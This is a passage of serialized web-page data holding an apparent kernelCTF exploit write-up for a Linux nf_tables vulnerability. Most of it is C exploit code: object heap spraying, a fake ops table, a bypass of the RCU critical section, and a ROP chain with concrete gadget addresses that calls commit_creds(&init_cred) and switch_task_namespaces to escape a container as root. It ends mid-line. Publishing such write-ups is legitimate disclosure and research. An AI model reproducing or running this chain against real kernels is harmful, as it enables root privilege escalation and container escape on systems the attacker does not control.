\"spray-1\");\n[...]\n",[53647],{"type":23,"tag":64,"props":53648,"children":53649},{"__ignoreMap":7},[53650,53657,53665,53689,53736,53772,53779,53787,53819,53827,53835,53856,53864,53872,53936,53943,53951,53959,53966,53974,54008,54016,54023,54031,54038,54046,54079,54100],{"type":23,"tag":481,"props":53651,"children":53652},{"class":483,"line":484},[53653],{"type":23,"tag":481,"props":53654,"children":53655},{"style":525},[53656],{"type":28,"value":7803},{"type":23,"tag":481,"props":53658,"children":53659},{"class":483,"line":351},[53660],{"type":23,"tag":481,"props":53661,"children":53662},{"style":525},[53663],{"type":28,"value":53664}," // Fake ops\n",{"type":23,"tag":481,"props":53666,"children":53667},{"class":483,"line":531},[53668,53673,53677,53681,53685],{"type":23,"tag":481,"props":53669,"children":53670},{"style":525},[53671],{"type":28,"value":53672}," uint64_t *rop = calloc(29, ",{"type":23,"tag":481,"props":53674,"children":53675},{"style":943},[53676],{"type":28,"value":52854},{"type":23,"tag":481,"props":53678,"children":53679},{"style":525},[53680],{"type":28,"value":618},{"type":23,"tag":481,"props":53682,"children":53683},{"style":497},[53684],{"type":28,"value":53161},{"type":23,"tag":481,"props":53686,"children":53687},{"style":525},[53688],{"type":28,"value":4701},{"type":23,"tag":481,"props":53690,"children":53691},{"class":483,"line":567},[53692,53697,53701,53705,53709,53713,53718,53722,53727,53731],{"type":23,"tag":481,"props":53693,"children":53694},{"style":508},[53695],{"type":28,"value":53696}," rop",{"type":23,"tag":481,"props":53698,"children":53699},{"style":525},[53700],{"type":28,"value":1269},{"type":23,"tag":481,"props":53702,"children":53703},{"style":551},[53704],{"type":28,"value":1568},{"type":23,"tag":481,"props":53706,"children":53707},{"style":525},[53708],{"type":28,"value":6141},{"type":23,"tag":481,"props":53710,"children":53711},{"style":514},[53712],{"type":28,"value":603},{"type":23,"tag":481,"props":53714,"children":53715},{"style":525},[53716],{"type":28,"value":53717}," kaslr_slide ",{"type":23,"tag":481,"props":53719,"children":53720},{"style":514},[53721],{"type":28,"value":1930},{"type":23,"tag":481,"props":53723,"children":53724},{"style":551},[53725],{"type":28,"value":53726}," 0xffffffff81988647",{"type":23,"tag":481,"props":53728,"children":53729},{"style":525},[53730],{"type":28,"value":46599},{"type":23,"tag":481,"props":53732,"children":53733},{"style":488},[53734],{"type":28,"value":53735}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":481,"props":53737,"children":53738},{"class":483,"line":678},[53739,53743,53747,53751,53755,53759,53763,53767],{"type":23,"tag":481,"props":53740,"children":53741},{"style":508},[53742],{"type":28,"value":53696},{"type":23,"tag":481,"props":53744,"children":53745},{"style":525},[53746],{"type":28,"value":1269},{"type":23,"tag":481,"props":53748,"children":53749},{"style":551},[53750],{"type":28,"value":637},{"type":23,"tag":481,"props":53752,"children":53753},{"style":525},[53754],{"type":28,"value":6141},{"type":23,"tag":481,"props":53756,"children":53757},{"style":514},[53758],{"type":28,"value":603},{"type":23,"tag":481,"props":53760,"children":53761},{"style":525},[53762],{"type":28,"value":53717},{"type":23,"tag":481,"props":53764,"children":53765},{"style":514},[53766],{"type":28,"value":1930},{"type":23,"tag":481,"props":53768,"children":53769},{"style":525},[53770],{"type":28,"value":53771}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":481,"props":53773,"children":53774},{"class":483,"line":784},[53775],{"type":23,"tag":481,"props":53776,"children":53777},{"style":525},[53778],{"type":28,"value":7803},{"type":23,"tag":481,"props":53780,"children":53781},{"class":483,"line":812},[53782],{"type":23,"tag":481,"props":53783,"children":53784},{"style":525},[53785],{"type":28,"value":53786}," // Send ROP in object udata\n",{"type":23,"tag":481,"props":53788,"children":53789},{"class":483,"line":825},[53790,53795,53799,53804,53809,53814],{"type":23,"tag":481,"props":53791,"children":53792},{"style":525},[53793],{"type":28,"value":53794}," del_obj(",{"type":23,"tag":481,"props":53796,"children":53797},{"style":943},[53798],{"type":28,"value":51816},{"type":23,"tag":481,"props":53800,"children":53801},{"style":525},[53802],{"type":28,"value":53803},", \"",{"type":23,"tag":481,"props":53805,"children":53806},{"style":943},[53807],{"type":28,"value":53808},"spray",{"type":23,"tag":481,"props":53810,"children":53811},{"style":525},[53812],{"type":28,"value":53813},"-0",{"type":23,"tag":481,"props":53815,"children":53816},{"style":1805},[53817],{"type":28,"value":53818},"\");\n",{"type":23,"tag":481,"props":53820,"children":53821},{"class":483,"line":843},[53822],{"type":23,"tag":481,"props":53823,"children":53824},{"style":1805},[53825],{"type":28,"value":53826}," wait_destroyer();\n",{"type":23,"tag":481,"props":53828,"children":53829},{"class":483,"line":864},[53830],{"type":23,"tag":481,"props":53831,"children":53832},{"style":1805},[53833],{"type":28,"value":53834}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":481,"props":53836,"children":53837},{"class":483,"line":873},[53838,53843,53847,53852],{"type":23,"tag":481,"props":53839,"children":53840},{"style":1805},[53841],{"type":28,"value":53842}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":481,"props":53844,"children":53845},{"style":497},[53846],{"type":28,"value":53808},{"type":23,"tag":481,"props":53848,"children":53849},{"style":525},[53850],{"type":28,"value":53851},"-3",{"type":23,"tag":481,"props":53853,"children":53854},{"style":1805},[53855],{"type":28,"value":53818},{"type":23,"tag":481,"props":53857,"children":53858},{"class":483,"line":1125},[53859],{"type":23,"tag":481,"props":53860,"children":53861},{"style":1805},[53862],{"type":28,"value":53863}," DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":481,"props":53865,"children":53866},{"class":483,"line":1142},[53867],{"type":23,"tag":481,"props":53868,"children":53869},{"style":1805},[53870],{"type":28,"value":53871}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":481,"props":53873,"children":53874},{"class":483,"line":1159},[53875,53880,53884,53888,53892,53897,53902,53907,53911,53916,53921,53926,53931],{"type":23,"tag":481,"props":53876,"children":53877},{"style":1805},[53878],{"type":28,"value":53879}," printf(\"",{"type":23,"tag":481,"props":53881,"children":53882},{"style":525},[53883],{"type":28,"value":1269},{"type":23,"tag":481,"props":53885,"children":53886},{"style":514},[53887],{"type":28,"value":2120},{"type":23,"tag":481,"props":53889,"children":53890},{"style":525},[53891],{"type":28,"value":6141},{"type":23,"tag":481,"props":53893,"children":53894},{"style":943},[53895],{"type":28,"value":53896},"ROP",{"type":23,"tag":481,"props":53898,"children":53899},{"style":943},[53900],{"type":28,"value":53901}," addr",{"type":23,"tag":481,"props":53903,"children":53904},{"style":525},[53905],{"type":28,"value":53906},": 0",{"type":23,"tag":481,"props":53908,"children":53909},{"style":943},[53910],{"type":28,"value":16772},{"type":23,"tag":481,"props":53912,"children":53913},{"style":525},[53914],{"type":28,"value":53915},"%",{"type":23,"tag":481,"props":53917,"children":53918},{"style":943},[53919],{"type":28,"value":53920},"lx",{"type":23,"tag":481,"props":53922,"children":53923},{"style":525},[53924],{"type":28,"value":53925},"\\",{"type":23,"tag":481,"props":53927,"children":53928},{"style":943},[53929],{"type":28,"value":53930},"n",{"type":23,"tag":481,"props":53932,"children":53933},{"style":1805},[53934],{"type":28,"value":53935},"\", rop_addr);\n",{"type":23,"tag":481,"props":53937,"children":53938},{"class":483,"line":1172},[53939],{"type":23,"tag":481,"props":53940,"children":53941},{"emptyLinePlaceholder":15},[53942],{"type":28,"value":1210},{"type":23,"tag":481,"props":53944,"children":53945},{"class":483,"line":1181},[53946],{"type":23,"tag":481,"props":53947,"children":53948},{"style":1805},[53949],{"type":28,"value":53950}," // Point to fake ops\n",{"type":23,"tag":481,"props":53952,"children":53953},{"class":483,"line":1204},[53954],{"type":23,"tag":481,"props":53955,"children":53956},{"style":1805},[53957],{"type":28,"value":53958}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":481,"props":53960,"children":53961},{"class":483,"line":1213},[53962],{"type":23,"tag":481,"props":53963,"children":53964},{"style":1805},[53965],{"type":28,"value":7803},{"type":23,"tag":481,"props":53967,"children":53968},{"class":483,"line":1222},[53969],{"type":23,"tag":481,"props":53970,"children":53971},{"style":1805},[53972],{"type":28,"value":53973}," // Write ROP\n",{"type":23,"tag":481,"props":53975,"children":53976},{"class":483,"line":1291},[53977,53982,53986,53990,53994,53999,54004],{"type":23,"tag":481,"props":53978,"children":53979},{"style":1805},[53980],{"type":28,"value":53981}," puts(\"",{"type":23,"tag":481,"props":53983,"children":53984},{"style":525},[53985],{"type":28,"value":1269},{"type":23,"tag":481,"props":53987,"children":53988},{"style":514},[53989],{"type":28,"value":2120},{"type":23,"tag":481,"props":53991,"children":53992},{"style":525},[53993],{"type":28,"value":6141},{"type":23,"tag":481,"props":53995,"children":53996},{"style":943},[53997],{"type":28,"value":53998},"Write",{"type":23,"tag":481,"props":54000,"children":54001},{"style":943},[54002],{"type":28,"value":54003}," ROP",{"type":23,"tag":481,"props":54005,"children":54006},{"style":1805},[54007],{"type":28,"value":53818},{"type":23,"tag":481,"props":54009,"children":54010},{"class":483,"line":1299},[54011],{"type":23,"tag":481,"props":54012,"children":54013},{"style":1805},[54014],{"type":28,"value":54015}," deludata_spray(nl, 3, 1);\n",{"type":23,"tag":481,"props":54017,"children":54018},{"class":483,"line":1329},[54019],{"type":23,"tag":481,"props":54020,"children":54021},{"style":1805},[54022],{"type":28,"value":53826},{"type":23,"tag":481,"props":54024,"children":54025},{"class":483,"line":1337},[54026],{"type":23,"tag":481,"props":54027,"children":54028},{"style":1805},[54029],{"type":28,"value":54030}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":481,"props":54032,"children":54033},{"class":483,"line":1369},[54034],{"type":23,"tag":481,"props":54035,"children":54036},{"emptyLinePlaceholder":15},[54037],{"type":28,"value":1210},{"type":23,"tag":481,"props":54039,"children":54040},{"class":483,"line":1377},[54041],{"type":23,"tag":481,"props":54042,"children":54043},{"style":1805},[54044],{"type":28,"value":54045}," // Takeover RIP\n",{"type":23,"tag":481,"props":54047,"children":54048},{"class":483,"line":1437},[54049,54053,54057,54061,54065,54070,54075],{"type":23,"tag":481,"props":54050,"children":54051},{"style":1805},[54052],{"type":28,"value":53981},{"type":23,"tag":481,"props":54054,"children":54055},{"style":525},[54056],{"type":28,"value":1269},{"type":23,"tag":481,"props":54058,"children":54059},{"style":514},[54060],{"type":28,"value":2120},{"type":23,"tag":481,"props":54062,"children":54063},{"style":525},[54064],{"type":28,"value":6141},{"type":23,"tag":481,"props":54066,"children":54067},{"style":943},[54068],{"type":28,"value":54069},"Takeover",{"type":23,"tag":481,"props":54071,"children":54072},{"style":943},[54073],{"type":28,"value":54074}," RIP",{"type":23,"tag":481,"props":54076,"children":54077},{"style":1805},[54078],{"type":28,"value":53818},{"type":23,"tag":481,"props":54080,"children":54081},{"class":483,"line":6528},[54082,54087,54091,54096],{"type":23,"tag":481,"props":54083,"children":54084},{"style":1805},[54085],{"type":28,"value":54086}," dump_obj(nl, \"",{"type":23,"tag":481,"props":54088,"children":54089},{"style":497},[54090],{"type":28,"value":53808},{"type":23,"tag":481,"props":54092,"children":54093},{"style":525},[54094],{"type":28,"value":54095},"-1",{"type":23,"tag":481,"props":54097,"children":54098},{"style":1805},[54099],{"type":28,"value":53818},{"type":23,"tag":481,"props":54101,"children":54102},{"class":483,"line":6546},[54103],{"type":23,"tag":481,"props":54104,"children":54105},{"style":1805},[54106],{"type":28,"value":7803},{"type":23,"tag":7092,"props":54108,"children":54110},{"id":54109},"bypass-context-switch-in-rcu-critical-section",[54111],{"type":28,"value":54112},"Bypass context switch in RCU critical-section",{"type":23,"tag":24,"props":54114,"children":54115},{},[54116,54117,54122],{"type":28,"value":14104},{"type":23,"tag":64,"props":54118,"children":54120},{"className":54119},[],[54121],{"type":28,"value":52640},{"type":28,"value":54123}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":24,"props":54125,"children":54126},{},[54127,54129,54136,54138,54144,54146,54152],{"type":28,"value":54128},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":190,"props":54130,"children":54133},{"href":54131,"rel":54132},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[194],[54134],{"type":28,"value":54135},"previous kernelCTF submission",{"type":28,"value":54137}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":64,"props":54139,"children":54141},{"className":54140},[],[54142],{"type":28,"value":54143},"task_struct",{"type":28,"value":54145}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":64,"props":54147,"children":54149},{"className":54148},[],[54150],{"type":28,"value":54151},"__rcu_read_unlock()",{"type":28,"value":54153}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":435,"props":54155,"children":54157},{"className":26623,"code":54156,"language":26625,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[54158],{"type":23,"tag":64,"props":54159,"children":54160},{"__ignoreMap":7},[54161,54169,54193,54200],{"type":23,"tag":481,"props":54162,"children":54163},{"class":483,"line":484},[54164],{"type":23,"tag":481,"props":54165,"children":54166},{"style":488},[54167],{"type":28,"value":54168}," // ROP stage 1\n",{"type":23,"tag":481,"props":54170,"children":54171},{"class":483,"line":351},[54172,54176,54181,54185,54189],{"type":23,"tag":481,"props":54173,"children":54174},{"style":497},[54175],{"type":28,"value":16573},{"type":23,"tag":481,"props":54177,"children":54178},{"style":525},[54179],{"type":28,"value":54180}," pos ",{"type":23,"tag":481,"props":54182,"children":54183},{"style":514},[54184],{"type":28,"value":603},{"type":23,"tag":481,"props":54186,"children":54187},{"style":551},[54188],{"type":28,"value":16595},{"type":23,"tag":481,"props":54190,"children":54191},{"style":525},[54192],{"type":28,"value":528},{"type":23,"tag":481,"props":54194,"children":54195},{"class":483,"line":531},[54196],{"type":23,"tag":481,"props":54197,"children":54198},{"emptyLinePlaceholder":15},[54199],{"type":28,"value":1210},{"type":23,"tag":481,"props":54201,"children":54202},{"class":483,"line":567},[54203,54207,54212,54216,54220,54224,54228,54232],{"type":23,"tag":481,"props":54204,"children":54205},{"style":508},[54206],{"type":28,"value":53696},{"type":23,"tag":481,"props":54208,"children":54209},{"style":525},[54210],{"type":28,"value":54211},"[pos",{"type":23,"tag":481,"props":54213,"children":54214},{"style":514},[54215],{"type":28,"value":48795},{"type":23,"tag":481,"props":54217,"children":54218},{"style":525},[54219],{"type":28,"value":6141},{"type":23,"tag":481,"props":54221,"children":54222},{"style":514},[54223],{"type":28,"value":603},{"type":23,"tag":481,"props":54225,"children":54226},{"style":525},[54227],{"type":28,"value":53717},{"type":23,"tag":481,"props":54229,"children":54230},{"style":514},[54231],{"type":28,"value":1930},{"type":23,"tag":481,"props":54233,"children":54234},{"style":525},[54235],{"type":28,"value":54236}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":7092,"props":54238,"children":54240},{"id":54239},"rop",[54241],{"type":28,"value":53896},{"type":23,"tag":24,"props":54243,"children":54244},{},[54245],{"type":28,"value":54246},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":14178,"props":54248,"children":54249},{},[54250,54261,54272],{"type":23,"tag":77,"props":54251,"children":54252},{},[54253,54259],{"type":23,"tag":64,"props":54254,"children":54256},{"className":54255},[],[54257],{"type":28,"value":54258},"commit_creds(&init_cred);",{"type":28,"value":54260}," Commit root credentials to our process",{"type":23,"tag":77,"props":54262,"children":54263},{},[54264,54270],{"type":23,"tag":64,"props":54265,"children":54267},{"className":54266},[],[54268],{"type":28,"value":54269},"task = find_task_by_vpid(1);",{"type":28,"value":54271}," Find the root process of our namespace",{"type":23,"tag":77,"props":54273,"children":54274},{},[54275,54281],{"type":23,"tag":64,"props":54276,"children":54278},{"className":54277},[],[54279],{"type":28,"value":54280},"switch_task_namespaces(task, &init_nsproxy);",{"type":28,"value":54282}," Move it to the root namespace",{"type":23,"tag":24,"props":54284,"children":54285},{},[54286,54288,54294,54296,54302,54304,54310,54312,54318,54320,54325,54327,54333],{"type":28,"value":54287},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":64,"props":54289,"children":54291},{"className":54290},[],[54292],{"type":28,"value":54293},"find_task_by_vpid(1)",{"type":28,"value":54295}," passed through ",{"type":23,"tag":64,"props":54297,"children":54299},{"className":54298},[],[54300],{"type":28,"value":54301},"rax",{"type":28,"value":54303}," to ",{"type":23,"tag":64,"props":54305,"children":54307},{"className":54306},[],[54308],{"type":28,"value":54309},"rdi",{"type":28,"value":54311},". What I ended up going with was a ",{"type":23,"tag":64,"props":54313,"children":54315},{"className":54314},[],[54316],{"type":28,"value":54317},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":28,"value":54319}," gadget, that allowed me to push the ",{"type":23,"tag":64,"props":54321,"children":54323},{"className":54322},[],[54324],{"type":28,"value":54301},{"type":28,"value":54326}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":64,"props":54328,"children":54330},{"className":54329},[],[54331],{"type":28,"value":54332},"pop rdi; ret",{"type":28,"value":54334}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":14178,"props":54336,"children":54337},{},[54338,54343,54356],{"type":23,"tag":77,"props":54339,"children":54340},{},[54341],{"type":28,"value":54342},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":77,"props":54344,"children":54345},{},[54346,54348,54354],{"type":28,"value":54347},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":64,"props":54349,"children":54351},{"className":54350},[],[54352],{"type":28,"value":54353},"pop rdi; ret;",{"type":28,"value":54355}," location)",{"type":23,"tag":77,"props":54357,"children":54358},{},[54359,54364],{"type":23,"tag":64,"props":54360,"children":54362},{"className":54361},[],[54363],{"type":28,"value":54332},{"type":28,"value":54365}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":435,"props":54367,"children":54369},{"className":26623,"code":54368,"language":26625,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[54370],{"type":23,"tag":64,"props":54371,"children":54372},{"__ignoreMap":7},[54373,54380,54397,54442,54478,54514,54521,54529,54572,54603,54639,54684,54739,54784,54791,54799,54842,54878,54914],{"type":23,"tag":481,"props":54374,"children":54375},{"class":483,"line":484},[54376],{"type":23,"tag":481,"props":54377,"children":54378},{"style":525},[54379],{"type":28,"value":7803},{"type":23,"tag":481,"props":54381,"children":54382},{"class":483,"line":351},[54383,54388,54393],{"type":23,"tag":481,"props":54384,"children":54385},{"style":525},[54386],{"type":28,"value":54387}," // commit_creds(&",{"type":23,"tag":481,"props":54389,"children":54390},{"style":508},[54391],{"type":28,"value":54392},"init_cred",{"type":23,"tag":481,"props":54394,"children":54395},{"style":525},[54396],{"type":28,"value":1366},{"type":23,"tag":481,"props":54398,"children":54399},{"class":483,"line":531},[54400,54404,54408,54412,54416,54420,54424,54428,54433,54437],{"type":23,"tag":481,"props":54401,"children":54402},{"style":508},[54403],{"type":28,"value":53696},{"type":23,"tag":481,"props":54405,"children":54406},{"style":525},[54407],{"type":28,"value":54211},{"type":23,"tag":481,"props":54409,"children":54410},{"style":514},[54411],{"type":28,"value":48795},{"type":23,"tag":481,"props":54413,"children":54414},{"style":525},[54415],{"type":28,"value":6141},{"type":23,"tag":481,"props":54417,"children":54418},{"style":514},[54419],{"type":28,"value":603},{"type":23,"tag":481,"props":54421,"children":54422},{"style":525},[54423],{"type":28,"value":53717},{"type":23,"tag":481,"props":54425,"children":54426},{"style":514},[54427],{"type":28,"value":1930},{"type":23,"tag":481,"props":54429,"children":54430},{"style":551},[54431],{"type":28,"value":54432}," 0xffffffff8112c7c0",{"type":23,"tag":481,"props":54434,"children":54435},{"style":525},[54436],{"type":28,"value":46599},{"type":23,"tag":481,"props":54438,"children":54439},{"style":488},[54440],{"type":28,"value":54441}," // pop rdi; ret;\n",{"type":23,"tag":481,"props":54443,"children":54444},{"class":483,"line":567},[54445,54449,54453,54457,54461,54465,54469,54473],{"type":23,"tag":481,"props":54446,"children":54447},{"style":508},[54448],{"type":28,"value":53696},{"type":23,"tag":481,"props":54450,"children":54451},{"style":525},[54452],{"type":28,"value":54211},{"type":23,"tag":481,"props":54454,"children":54455},{"style":514},[54456],{"type":28,"value":48795},{"type":23,"tag":481,"props":54458,"children":54459},{"style":525},[54460],{"type":28,"value":6141},{"type":23,"tag":481,"props":54462,"children":54463},{"style":514},[54464],{"type":28,"value":603},{"type":23,"tag":481,"props":54466,"children":54467},{"style":525},[54468],{"type":28,"value":53717},{"type":23,"tag":481,"props":54470,"children":54471},{"style":514},[54472],{"type":28,"value":1930},{"type":23,"tag":481,"props":54474,"children":54475},{"style":525},[54476],{"type":28,"value":54477}," INIT_CRED;\n",{"type":23,"tag":481,"props":54479,"children":54480},{"class":483,"line":678},[54481,54485,54489,54493,54497,54501,54505,54509],{"type":23,"tag":481,"props":54482,"children":54483},{"style":508},[54484],{"type":28,"value":53696},{"type":23,"tag":481,"props":54486,"children":54487},{"style":525},[54488],{"type":28,"value":54211},{"type":23,"tag":481,"props":54490,"children":54491},{"style":514},[54492],{"type":28,"value":48795},{"type":23,"tag":481,"props":54494,"children":54495},{"style":525},[54496],{"type":28,"value":6141},{"type":23,"tag":481,"props":54498,"children":54499},{"style":514},[54500],{"type":28,"value":603},{"type":23,"tag":481,"props":54502,"children":54503},{"style":525},[54504],{"type":28,"value":53717},{"type":23,"tag":481,"props":54506,"children":54507},{"style":514},[54508],{"type":28,"value":1930},{"type":23,"tag":481,"props":54510,"children":54511},{"style":525},[54512],{"type":28,"value":54513}," COMMIT_CREDS;\n",{"type":23,"tag":481,"props":54515,"children":54516},{"class":483,"line":784},[54517],{"type":23,"tag":481,"props":54518,"children":54519},{"emptyLinePlaceholder":15},[54520],{"type":28,"value":1210},{"type":23,"tag":481,"props":54522,"children":54523},{"class":483,"line":812},[54524],{"type":23,"tag":481,"props":54525,"children":54526},{"style":488},[54527],{"type":28,"value":54528}," // task = find_task_by_vpid(1);\n",{"type":23,"tag":481,"props":54530,"children":54531},{"class":483,"line":825},[54532,54536,54540,54544,54548,54552,54556,54560,54564,54568],{"type":23,"tag":481,"props":54533,"children":54534},{"style":508},[54535],{"type":28,"value":53696},{"type":23,"tag":481,"props":54537,"children":54538},{"style":525},[54539],{"type":28,"value":54211},{"type":23,"tag":481,"props":54541,"children":54542},{"style":514},[54543],{"type":28,"value":48795},{"type":23,"tag":481,"props":54545,"children":54546},{"style":525},[54547],{"type":28,"value":6141},{"type":23,"tag":481,"props":54549,"children":54550},{"style":514},[54551],{"type":28,"value":603},{"type":23,"tag":481,"props":54553,"children":54554},{"style":525},[54555],{"type":28,"value":53717},{"type":23,"tag":481,"props":54557,"children":54558},{"style":514},[54559],{"type":28,"value":1930},{"type":23,"tag":481,"props":54561,"children":54562},{"style":551},[54563],{"type":28,"value":54432},{"type":23,"tag":481,"props":54565,"children":54566},{"style":525},[54567],{"type":28,"value":46599},{"type":23,"tag":481,"props":54569,"children":54570},{"style":488},[54571],{"type":28,"value":54441},{"type":23,"tag":481,"props":54573,"children":54574},{"class":483,"line":843},[54575,54579,54583,54587,54591,54595,54599],{"type":23,"tag":481,"props":54576,"children":54577},{"style":508},[54578],{"type":28,"value":53696},{"type":23,"tag":481,"props":54580,"children":54581},{"style":525},[54582],{"type":28,"value":54211},{"type":23,"tag":481,"props":54584,"children":54585},{"style":514},[54586],{"type":28,"value":48795},{"type":23,"tag":481,"props":54588,"children":54589},{"style":525},[54590],{"type":28,"value":6141},{"type":23,"tag":481,"props":54592,"children":54593},{"style":514},[54594],{"type":28,"value":603},{"type":23,"tag":481,"props":54596,"children":54597},{"style":551},[54598],{"type":28,"value":2072},{"type":23,"tag":481,"props":54600,"children":54601},{"style":525},[54602],{"type":28,"value":528},{"type":23,"tag":481,"props":54604,"children":54605},{"class":483,"line":864},[54606,54610,54614,54618,54622,54626,54630,54634],{"type":23,"tag":481,"props":54607,"children":54608},{"style":508},[54609],{"type":28,"value":53696},{"type":23,"tag":481,"props":54611,"children":54612},{"style":525},[54613],{"type":28,"value":54211},{"type":23,"tag":481,"props":54615,"children":54616},{"style":514},[54617],{"type":28,"value":48795},{"type":23,"tag":481,"props":54619,"children":54620},{"style":525},[54621],{"type":28,"value":6141},{"type":23,"tag":481,"props":54623,"children":54624},{"style":514},[54625],{"type":28,"value":603},{"type":23,"tag":481,"props":54627,"children":54628},{"style":525},[54629],{"type":28,"value":53717},{"type":23,"tag":481,"props":54631,"children":54632},{"style":514},[54633],{"type":28,"value":1930},{"type":23,"tag":481,"props":54635,"children":54636},{"style":525},[54637],{"type":28,"value":54638}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":481,"props":54640,"children":54641},{"class":483,"line":873},[54642,54646,54650,54654,54658,54662,54666,54670,54675,54679],{"type":23,"tag":481,"props":54643,"children":54644},{"style":508},[54645],{"type":28,"value":53696},{"type":23,"tag":481,"props":54647,"children":54648},{"style":525},[54649],{"type":28,"value":54211},{"type":23,"tag":481,"props":54651,"children":54652},{"style":514},[54653],{"type":28,"value":48795},{"type":23,"tag":481,"props":54655,"children":54656},{"style":525},[54657],{"type":28,"value":6141},{"type":23,"tag":481,"props":54659,"children":54660},{"style":514},[54661],{"type":28,"value":603},{"type":23,"tag":481,"props":54663,"children":54664},{"style":525},[54665],{"type":28,"value":53717},{"type":23,"tag":481,"props":54667,"children":54668},{"style":514},[54669],{"type":28,"value":1930},{"type":23,"tag":481,"props":54671,"children":54672},{"style":551},[54673],{"type":28,"value":54674}," 0xffffffff8102e2a6",{"type":23,"tag":481,"props":54676,"children":54677},{"style":525},[54678],{"type":28,"value":46599},{"type":23,"tag":481,"props":54680,"children":54681},{"style":488},[54682],{"type":28,"value":54683}," // pop rsi; ret;\n",{"type":23,"tag":481,"props":54685,"children":54686},{"class":483,"line":1125},[54687,54691,54695,54699,54703,54707,54712,54716,54721,54725,54730,54734],{"type":23,"tag":481,"props":54688,"children":54689},{"style":508},[54690],{"type":28,"value":53696},{"type":23,"tag":481,"props":54692,"children":54693},{"style":525},[54694],{"type":28,"value":54211},{"type":23,"tag":481,"props":54696,"children":54697},{"style":514},[54698],{"type":28,"value":48795},{"type":23,"tag":481,"props":54700,"children":54701},{"style":525},[54702],{"type":28,"value":6141},{"type":23,"tag":481,"props":54704,"children":54705},{"style":514},[54706],{"type":28,"value":603},{"type":23,"tag":481,"props":54708,"children":54709},{"style":525},[54710],{"type":28,"value":54711}," obj_ptr ",{"type":23,"tag":481,"props":54713,"children":54714},{"style":514},[54715],{"type":28,"value":1930},{"type":23,"tag":481,"props":54717,"children":54718},{"style":551},[54719],{"type":28,"value":54720}," 0xe0",{"type":23,"tag":481,"props":54722,"children":54723},{"style":514},[54724],{"type":28,"value":48781},{"type":23,"tag":481,"props":54726,"children":54727},{"style":551},[54728],{"type":28,"value":54729}," 0x66",{"type":23,"tag":481,"props":54731,"children":54732},{"style":525},[54733],{"type":28,"value":46599},{"type":23,"tag":481,"props":54735,"children":54736},{"style":488},[54737],{"type":28,"value":54738}," // rax -> rdi and resume rop\n",{"type":23,"tag":481,"props":54740,"children":54741},{"class":483,"line":1142},[54742,54746,54750,54754,54758,54762,54766,54770,54775,54779],{"type":23,"tag":481,"props":54743,"children":54744},{"style":508},[54745],{"type":28,"value":53696},{"type":23,"tag":481,"props":54747,"children":54748},{"style":525},[54749],{"type":28,"value":54211},{"type":23,"tag":481,"props":54751,"children":54752},{"style":514},[54753],{"type":28,"value":48795},{"type":23,"tag":481,"props":54755,"children":54756},{"style":525},[54757],{"type":28,"value":6141},{"type":23,"tag":481,"props":54759,"children":54760},{"style":514},[54761],{"type":28,"value":603},{"type":23,"tag":481,"props":54763,"children":54764},{"style":525},[54765],{"type":28,"value":53717},{"type":23,"tag":481,"props":54767,"children":54768},{"style":514},[54769],{"type":28,"value":1930},{"type":23,"tag":481,"props":54771,"children":54772},{"style":551},[54773],{"type":28,"value":54774}," 0xffffffff81caed31",{"type":23,"tag":481,"props":54776,"children":54777},{"style":525},[54778],{"type":28,"value":46599},{"type":23,"tag":481,"props":54780,"children":54781},{"style":488},[54782],{"type":28,"value":54783}," // push rax; jmp qword ptr [rsi + 